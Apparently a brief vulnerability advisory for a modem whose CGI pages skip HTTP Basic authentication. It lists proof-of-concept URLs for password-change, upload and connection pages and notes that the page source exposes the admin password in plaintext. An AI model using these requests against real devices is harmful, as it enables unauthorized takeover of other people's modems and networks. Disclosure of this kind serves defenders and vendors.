The modem usually serves html files & protects them with HTTP Basic authentication. however, the cgi files, does not get this protection. so simply requesting any cgi file (without no authentication) would give a remote attacker full access to the modem and then can easily be used to root the modem and disrupt network activities.
So requesting modem.ip.address would result HTTP Authentication request, but simply requesting http://192.168.1.1/main.cgi will bypass it.
PoC: http://192.168.1.1/adminpasswd.cgi (will result admin password change page) - viewing the source will show the current password (unencrypted) http://192.168.1.1/userpasswd.cgi http://192.168.1.1/upload.cgi http://192.168.1.1/conprocess.cgi http://192.168.1.1/connect.cgi